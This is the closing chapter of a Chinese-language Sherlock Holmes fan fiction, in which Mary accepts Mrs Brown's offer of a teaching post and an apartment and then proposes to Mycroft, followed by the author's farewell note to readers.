这对布朗夫人来说倒是个好话题,她没想过两个两情相悦的男女竟然会晚两年结婚,听听这话,多奇怪啊? “为什么?是有什*么顾虑?难道小麦克的家里人不同意?” 麦考福特连忙解释:“我的家里人对玛丽小姐非常满意,他们积极赞成我的决定以及玛丽小姐的决定。” 玛丽完全没想过麦考福特会这么回答,下意识的看向了他。 麦考福特握着玛丽的手晃了晃:“我已经和我的家里人都说过了,放心,他们都是明事理的人,他们非常乐意有一位小姐折磨一下我。” 玛丽完全不知道,原来麦考福特在她不知道的时候已经解决了家里人的意见。 这可真是出乎意料。 布朗夫人喝了一口酒:“玛丽小姐呢?您有什么打算,说不定我能帮上忙,就当做……回报。” 玛丽摇了摇头:“我不需要您的回报,这件事也是我想做的,我们只是恰好有一个目标,不过我愿意同你说说我的打算,您是一位聪明的有阅历的夫人,我很愿意听听您的建议和看法。” 麦考福特坐在一边不着痕迹的揉捏着玛丽的手指,仿佛是什么吸引人的玩具一般,乐次不疲的抚摸着玛丽的指腹。 布朗夫人点点头,甚至放下了酒杯,以表示自己会认真的听一听玛丽的话。 玛丽也跟着放下了酒杯:“麦考福特先生和我求了婚,但是我更希望在结婚之前,能够有一份立足的工作,以供我的生活,或者说未来的生活,我希望能多尝试一些事情,而这些尝试都是需要有一定经济基础的,我想要买一栋公寓,地址我也看好了,大约500英镑就足够了,攒下一栋公寓的钱,再攒一部分供我未来生活花销的钱,这些都会成为我未来的底气。” 布朗夫人听着点了点头:“听上去你似乎准备好了离开麦考福特先生的一切打算?” 这话听着有些让人难受,麦考福特皱了皱眉头,却没有多说什么。 玛丽:“不,我只是……我没有打算离开麦考福特先生,我爱他……” 感觉到掌心忽然加重的力气,玛丽笑着看了眼麦考福特,在他的脸颊落下了一个吻,这让布朗夫人都笑了一声:“是的,我爱你,麦考福特先生,这是毋庸置疑的事实。” 说完这话,玛丽继续看向布朗夫人:“可是爱情并不是我生活的全部,我就是这样的一个人,我的家庭和我曾经经历的生活让我的内心总是有些不安和被困囿住的愤怒,这并不是什么不能说的事,我曾经对于如何挣脱枷锁无能为力,我的父亲帮助我一次,他给我在伦敦租了一间公寓,我得以在伦敦尝试做一个拥有一定自由的小姐,我以为我会在伦敦开展一定的事业,可是这太难了,或许说,我甚至自己都不知道,自己的事业是什么 我充满玩笑意味的和麦考福特先生的弟弟夏洛克一起查了一个案件,这让我备受打击,我发现这并不是我喜欢的事情,我后面又指望自己能通过我对于金钱的敏感度,做一个经济顾问,或者说,会计,但又被牵扯到一系列的事情中来,在此过程中,我有了友谊,有了爱情,爱让我满足,也让我快乐,同时更加让我明白了,我内心深处的不安,我害怕…… 麦考福特先生尊重我的想法,他建议我可以拥有一栋自己的公寓和一部分的金钱,这会让我充满底气。” 说道这里,布朗夫人点点头:“是的,金钱是女人最大的底气,拥有钱,比拥有任何男人的爱都重要。” 玛丽冲着布朗夫人露出甜甜的笑容:“是的,我很感激麦考福特先生,他从来不会对我的想法指指点点,反而尊重我,理解我,引导我,我想再也没有比他更好的爱人了,所以我打算工作两年,攒点钱,买上一栋公寓,保证一定的底气,到时候我会快快乐乐的和麦考福特先生步入婚姻的。” 布朗夫人鼓掌喝彩:“很棒的想法,玛丽,很棒,不要丢失自己,永远不要为了男人而失去自己,不过我很好奇,你找了什么工作?具体收入多少,打算攒多少钱呢?” 玛丽继续给布朗夫人解释,等听到玛丽的收入和看中的公寓后布朗夫人笑了:“那恐怕麦考福特先生要有的等了。” 麦考福特慢悠悠的瞥了一眼布朗夫人:“没关系,我愿意等待,爱情让等待都变得甜蜜。” 布朗夫人看着麦考福特嘴硬的模样实在忍不住想要笑出声,但是她憋住了,她确实喜欢这样两个孩子:“玛丽,如果你现在就拥有一个房子,你会和麦克结婚么。” 玛丽:“我更愿用我的能力赚取金钱,然后再买下一栋公寓。” 妈妈也说过,可以让舅舅给她买一栋公寓,可是那是舅舅的钱,不是她的。 布朗夫人忍不住,用捏在手里的扇子点了一下玛丽的鼻尖:“傻孩子,你可太单纯了。” 玛丽感觉到鼻尖一阵发痒,伸手摸了一下。 布朗夫人:“为什么一定要赚够了呢?我很喜欢你,不如听听我的推荐?” 玛丽看着布朗夫人,眼神里有些好奇。 布朗夫人:“我有一家救济院专门救助女孩子,经常会请一些修女或者家庭教师教导里面的孩子,不只是看管,是教导,如果你愿意,我非常乐意雇佣你成为救济院的一名教师,你可以在那里教导孩子们知识,让她们免于落入深渊,相对的,我可以给你提供一间公寓,五年的时间,只要你愿意在救济院工作五年,那间公寓就永远属于你,这是你预支五年的薪水换来的公寓,怎么样?” 玛丽呆愣愣的看着布朗夫人。 下一秒布朗夫人再次丢下一个诱饵:“而且我认识一些人脉,经常可以邀请一些学校的教授来看看孩子们,如果你愿意,可以和他们认识认识,交流一些……叫什么来着,哦对了,学术思想,放心,那些都是我的朋友,会很乐意和你交谈的。” 玛丽几乎快要扑到布朗夫人的怀里,然后下一秒,她果然起身扑了进去,麦考福特脸色虽然没有很难看,但是也有些别扭。 布朗夫人:“你的父亲和朋友托举你走了一段路,所以你也没必要拒绝我。” 玛丽当然知道这是布朗夫人的好心,她原本想要拒绝,但是下一刻却坚定的点了头:“我会努力的,我会尽我的全力,或许您知道的,我还算聪明,我会努力将我所学习的一切都教导给救济院的孩子们,我也会不断努力的学习,谢谢您的好意,真的,我非常感谢您。” 麦考福特看着布朗夫人,心里完全明白,这不只是她给玛丽抛出的诱饵,也是给自己抛出的橄榄枝。 布朗夫人在表示她的感激,同时也在表达她非常愿意和自己做个朋友。 麦考福特不会拒绝这样聪明的朋友,必要时也可以是合作伙伴。 玛丽和麦考福特离开的时候脸上的表情仿佛自己还沉浸在梦里一般。 布朗夫人郑重其事,把这件事当做一件大事对待,所以玛丽也觉得这是一个非常珍重的交易,她在通过这笔交易获得利益,获得公寓! 等到两人回到贝克街的时候,玛丽的神情还飘飘忽忽,似乎没回过神。 可是等麦考福特转身要离开,让玛丽好好休息的时候,玛丽却忽然拉住了他。 麦考福特看着玛丽,她的眼神里满是欣喜和激动。 玛丽轻咳两声,甚至紧张的抓住了裙摆的布料,看着自己面前的麦考福特先生,心里满是底气,她非常珍重的盯着麦考福特的双眼:“那么,麦考福特先生!” 麦考福特感觉自己似乎要猜到玛丽准备说什么了,一瞬间心脏都激动的紧缩起来。 玛丽上前握住了麦考福特的手,她的指尖下是麦考福特的手腕,那里的血管快速跳动着,仿佛在告诉玛丽,麦考福特的心脏到底有多健康。 尚未等麦考福特反应过来。 玛丽竟然径直开了口:“请问你愿意嫁给我么,麦考福特先生!” 麦考福特一时之间哭笑不得,但是他能感觉到自己的嘴角已经完全无法控制的上扬起来:“YSE!IDO!玛丽小姐,现在你可以亲吻你的新郎了。” 【作者有话说】 不算太大的金手指吧,不过布朗夫人其实一直都是这样的,她团结所有的女性同盟,也帮助女孩子。 女孩子们,永远不要拒绝任何一个可以给你提供帮助的贵人,别一心想着什么,我要做独立,我只要靠了别人帮助,我就不是独立女性了,别给自己竖牌坊。 抓住每一次机会,握住每一笔金钱,享受每一份权利! 至此,完结了。 番外的话,等我后面有空了搞。 休息一段时间,再开坑。 等我准备开的时候,看汉妃和达西的坑哪个收藏多,就开那个,嘿嘿。谢谢大家一路走来的支持!非常感恩。 每次看到大家的评论,都给我一种非常贴心温暖的感觉,每一个评论我都会看,偶尔大半夜躺在被子里,反复刷大家的评论,看大家的IP,我都不住的感慨,我的文字,原来已经传到这里了。 原来相隔这么远,依然会有人喜欢我的文字,喜欢我的思想。 真好,这个世界真美好啊。谢谢,非常感谢,我会永远记住这份温暖的体验的。[红心][红心][红心][红心]